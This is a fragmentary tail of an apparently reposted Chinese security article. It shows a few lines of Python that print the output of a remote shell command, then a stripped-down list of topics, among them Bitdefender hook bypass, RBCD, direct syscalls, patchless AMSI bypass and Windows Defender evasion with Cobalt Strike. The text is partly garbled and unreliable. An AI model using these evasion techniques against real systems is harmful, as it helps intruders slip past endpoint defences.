            print("[*] Failed to execute shell command")
        else:
            shell_response = ct.text.split(
                "Name                            :")[0]
            print(shell_response)

https://forum.butian.net/share/2191

wx

ring3 hookbypass bitdefender

PC

RBCD

syscall

DLLIAT

patchless amsi

windows defender线cs

    

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247507653&idx=1&sn=24d3a20b6192733d55a8d9c57c2e1ee7&chksm=ce676479f910ed6f328ff6fc09f9b9361b31dca380d94f94542eb958299ca241d9d78c8b636c#rd
如有侵权请联系:admin#unsafe.sh